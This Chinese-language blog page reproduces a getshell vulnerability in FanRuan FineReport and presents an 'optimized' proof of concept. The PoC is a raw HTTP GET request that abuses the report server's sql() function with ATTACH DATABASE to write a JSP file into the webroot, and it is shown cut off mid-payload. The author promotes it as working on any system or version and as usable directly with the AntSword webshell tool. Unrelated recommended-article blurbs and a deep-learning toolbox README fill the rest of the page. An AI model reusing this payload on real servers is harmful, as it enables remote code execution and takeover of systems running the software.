[漏洞复现]最新帆软前台getshell漏洞及优化poc

帆软 V9 Getshell 漏洞 0x00 任意文件上传漏洞【FineReport V9】0x01 漏洞描述此漏洞是任意文件覆盖,上传 JSP 马,需要找已存在的 JSP 文件进行覆盖,寻找Tomcat 启动帆软后默认存在的 JSP 文件0x02 漏洞详情 payload 替换成冰蝎的马,即可getshell0x03 临时修复建议排查是否使用帆软系统,并同步在AF自定义禁止访问webroot/ReportServer路径。... 阅读详情

如果觉得该文章有帮助的,麻烦师傅们可以搜索下微信公众号:良月安全。点个关注,感谢师傅们的支持。

前言

昨天看到各个地方都在发帆软的漏洞,看到poc后发现利用姿势应该是之前就有的,并且网上传的poc是写绝对路径,其实传相对路径就可以getshell。所以我们就对poc进行了一些小小的优化:

1、相对路径写入,可利用的环境更广,可无视系统和版本写入。

2、payload较短,直接蚁剑利用。

漏洞复现

漏洞原理y4tacker师傅也在自己的博客做了分享:某软Report高版本中利用的一些细节 (y4tacker.github.io)

我们这边主要对poc进行小小的优化。

GET /webroot/decision/view/ReportServer?test=s&n=${__fr_locale__=sql('FRDemo',DECODE('%EF%BB%BFATTACH%20DATABASE%20%27..%2Fwebapps%2Fwebroot%2Faaa.jsp%27%20as%20gggggg%3B'),1,1)}${__fr_locale__=sql('FRDemo',DECODE('%EF%BB%BFCREATE%20TABLE%20gggggg.exp2%28data%20text%29%3B'),1,1)}${__fr_locale_
帆软 FineReport/FineBI channel反序列化漏洞分析 漏洞分析 阅读详情

相关推荐

帆软(FineReport) V9任意文件覆盖漏洞

目录 漏洞简介 影响范围 漏洞分析 漏洞利用 修复方法 批量漏洞检测工具 漏洞简介 该漏洞是在近期HVV中被披露的,由于在初始化svg文件时,未对传入的参数做限制,导致可以对已存在的文件覆盖写入数据,从而通过将木马写入jsp文件中获取服务器权限。 影响范围 WebReport V9 漏洞分析 fr-chart-9.0.jar包中com.fr.chart.web/ChartSvgInitService类传递op参数的值svginit: 漏洞主要出现在fr-chart-9.0.

江左盟的博客 2万+

【漏洞复现】金华迪加现场大屏系统存在任意文件上传getshell漏洞

【漏洞复现】金华迪加现场大屏系统存在任意文件上传getshell漏洞

m0_46381222的博客 1204

MongoDB聚合管道漏洞CVE-2025-14847深度剖析与复现

数据库安全是构建健壮应用系统的基石,而查询处理逻辑的完整性直接关系到数据访问控制的有效性。在NoSQL数据库如MongoDB中,聚合框架(Aggregation Framework)作为核心的数据处理引擎,通过多阶段管道对文档进行转换和计算。其原理在于将查询操作分解为顺序执行的阶段(如$match、$project、$lookup),每个阶段对输入文档流进行处理并输出给下一阶段。这一机制的技术价值在于提供了强大的实时数据分析能力,但同时也引入了复杂性。当管道中包含跨阶段字段引用、表达式求值(如使用$expr

weixin_33700350的博客 459

CVE漏洞分析实战:从公告解读到应急响应的完整工作流

在软件开发和系统运维中,安全漏洞是普遍存在的风险。其核心原理在于软件在设计或实现时存在的缺陷,可能被攻击者利用,从而危害系统的机密性、完整性或可用性。理解并有效管理漏洞,对于保障业务连续性和数据安全具有至关重要的技术价值。无论是常见的文件上传漏洞、SQL注入,还是复杂的反序列化或远程代码执行(RCE),其分析与管理都遵循一套通用的方法论。典型的应用场景包括:收到漏洞扫描告警后,安全或运维工程师需要快速评估风险并制定修复方案。本文将以一个虚构的CVE编号为例,系统性地拆解漏洞分析的“四要素”框架——涵盖漏洞类

weixin_30764771的博客 348

从CVE-2002-20001入门安全研究:Diffie-Hellman协议资源管理漏洞复现指南

Diffie-Hellman密钥交换协议是网络安全通信的基石,它允许双方在不安全的信道上协商共享密钥。其核心原理基于离散对数难题,通过交换公开参数并混合私有随机数生成共同密钥。在工程实现中,协议解析模块的资源管理至关重要,若缺乏对输入参数的严格边界校验,可能导致内存耗尽或CPU资源被过度消耗,从而引发拒绝服务漏洞。这类资源管理错误在早期的网络服务软件中较为典型,常因直接信任客户端传入的长度字段所致。理解此类漏洞有助于掌握安全编码的基本规范,并为分析更复杂的缓冲区溢出等内存安全问题奠定基础。本文以CVE-20

深未来技术 487

别再只盯着蓝屏了!用Metasploit实战CVE-2019-0708,从探测到稳定Getshell的完整避坑指南

本文深入探讨了如何利用Metasploit实战CVE-2019-0708漏洞,从探测到稳定Getshell的全过程。通过优化攻击模块选择、会话稳定性及隐蔽渗透技巧,帮助渗透测试工程师实现长期控制目标,避免常见的蓝屏问题。

weixin_33978578的博客 366

渗透测试通杀漏洞挖掘:从自动化工作流到手动深挖的实战指南

漏洞挖掘是网络安全领域的核心实践,其本质在于系统化地识别和利用软件或系统中的安全缺陷。其基本原理是通过信息收集、攻击面分析、漏洞验证和成果反馈的循环工作流,将渗透测试从依赖个人经验的‘艺术’转变为可重复、可扩展的‘工程’。这一过程的技术价值在于显著提升安全测试的效率和覆盖面,能够批量化地发现跨平台、跨应用的潜在风险。在实际应用场景中,无论是针对企业资产、SRC(安全应急响应中心)目标,还是CTF靶场环境,构建标准化的漏洞挖掘流程都至关重要。本文聚焦于实现‘通杀’能力的核心路径,深入探讨如何集成如Nuclei

weixin_33738578的博客 455

AI驱动下的零日漏洞攻防:黑客如何利用AI攻击网站管理工具及防御策略

在网络安全领域,人工智能(AI)正深刻改变着攻防对抗的格局。从技术原理上看,AI通过机器学习和自然语言处理,能够自动化执行传统上依赖人工经验的复杂任务。其技术价值在于大幅提升了漏洞挖掘、利用代码生成和攻击链编排的效率和精准度,尤其在静态代码分析(SAST)和动态行为模拟方面表现突出。在应用场景上,AI正被系统性地用于针对网站管理工具(如CMS、运维后台)的自动化攻击,实现从目标智能筛选、漏洞模式识别到社会工程学攻击的全面升级。这迫使防御方必须转向以AI对抗AI的策略,构建基于行为分析和智能威胁狩猎的动态防线

weixin_33862993的博客 324

AI驱动漏洞利用自动化:从原理到实践的智能Exploit生成指南

漏洞利用(Exploit)开发是安全研究中的核心环节,传统上高度依赖人工经验与重复劳动。其基本原理涉及对软件内存布局、控制流劫持及系统保护机制的深入理解。随着大型语言模型(LLM)代码生成能力的突破,AI技术为这一领域带来了范式转变,其核心价值在于将漏洞武器化过程自动化,显著提升研究效率并降低技术门槛。在应用场景上,AI可通过提示工程或模型微调,结合结构化漏洞描述,自动生成针对缓冲区溢出等常见漏洞的利用脚本,并集成到包含沙箱验证的反馈循环中。本文聚焦于如何构建定制化的AI Exploit生成流水线,探讨如何

weixin_33868027的博客 337

Zemax单模光纤耦合仿真避坑指南:数值孔径、模式匹配与镀膜影响详解

本文详细解析了Zemax单模光纤耦合仿真中的关键避坑要点,包括数值孔径的多重定义与换算、模式匹配度评估及镀膜影响分析。通过实际案例和技术公式,帮助工程师避免常见仿真误差,提升激光通信和光纤传感系统的设计精度。特别针对OpticStudio用户提供了实用的参数设置建议和优化策略。

weixin_30836759的博客 465

攻克TypeError: Cannot read properties of undefined (reading ‘NormalModule‘)的四种实战策略

本文详细解析了`TypeError: Cannot read properties of undefined (reading 'NormalModule')`错误的四种实战解决策略。从版本一致性检查、包管理器优化到依赖替换和构建环境配置,帮助开发者快速定位和解决Webpack构建过程中的常见问题,提升开发效率。

weixin_42523670的博客 243

python画弗里德曼(Friedman) 检验和秩和检验(Nemenyi)检验图

python画弗里德曼(Friedman) 检验和秩和检验(Nemenyi)检验图 画好后效果图 实现代码如下 import matplotlib.pyplot as plt #算法平均排名 _alg_=[1.405,2.643,2.786,2.167] y=[1,2,3,4]#alg1,alg2,alg3,alg4 通过Nemenyi测试计算得到的临界值CD CD=1.024 h_CD=CD/2 plt.figure(figsize=(10,6)) plt.scatter(_alg_,y,s=10

大模型天花板 4464

IBIS模型中的Pullup和Pulldown曲线详解:如何避免信号完整性设计中的常见错误

本文深入解析IBIS模型中Pullup和Pulldown曲线的关键作用,揭示其在信号完整性设计中的黄金法则。通过详细分析曲线特性、常见误区及验证方法,帮助工程师避免设计错误,优化高速PCB设计。文章还展示了曲线数据在动态终端匹配、串扰预测和电源完整性分析中的高级应用,提升设计效率和可靠性。

weixin_30275415的博客 451

从宏观到街道:如何利用七普数据为WorldPop人口栅格做“本地化”校准?

本文探讨了如何利用第七次全国人口普查(七普)数据对WorldPop人口栅格进行本地化校准,以提高街道级别的人口分布精度。通过分析数据偏差、选择适当的技术路线和工具(如Arcgis和栅格计算器),文章详细介绍了从宏观到街道的校准实践,帮助规划公共卫生资源和优化城市基础设施。

janckywong963的专栏 513

STM32 AFIO时钟开启时机与复用功能解析

在嵌入式系统开发中,GPIO复用是微控制器外设配置的核心技术之一。通过复用功能,单个物理引脚可以动态切换不同功能模式,如USART通信或普通IO。其实现原理依赖于芯片内部的时钟树架构和寄存器配置机制。AFIO(Alternate Function I/O)模块作为STM32的特色设计,专门处理引脚重映射、外部中断配置等高级功能。正确理解复用功能与AFIO时钟的关系,能显著提升嵌入式开发效率,避免资源浪费。本文以STM32为例,结合引脚重映射和USART配置等典型场景,详解AFIO时钟的实际应用规范与优化实践

weixin_42389113的博客 579

智能Agent如何重塑企业流程

在当今数字化时代,企业流程的效率和敏捷性至关重要。传统企业流程往往受限于人工操作,效率低下、成本高昂,难以适应快速变化的市场环境。智能Agent作为一种新兴技术,凭借其强大的智能化能力,正在逐渐改变企业流程的运作模式,为企业带来新的机遇和挑战。智能Agent是一种能够感知环境、自主决策、执行任务的软件实体。它可以模拟人类的智能行为,例如学习、推理、规划和沟通。通过将智能Agent嵌入到企业流程中,可以实现流程的自动化、优化和智能化,从而提高效率、降低成本、提升客户体验。8.1 研究成果总结。

AGI×大数据,开启智能时代的认知跃迁;解码AGI,赋能数据驱动的智能革命。 874

<PLC><socket><汇川>汇川PLC使用socket与其他控制器(如上位机)通讯模板程序示例

以上介绍了汇川PLC通用socket通讯的示例,事实上,汇川的官方手册也有使用示例,可以直接仿照使用,也可以加以修改。

用沸腾的热血,支付我们的人生吧! 3248

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

上一篇: [漏洞复现]致远在野nday constDef接口存在代码执行漏洞
下一篇: [漏洞合集]致远获取后台权限及权限绕过漏洞大合集
LiangYueSec
博客等级 码龄2年 560粉丝 37原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值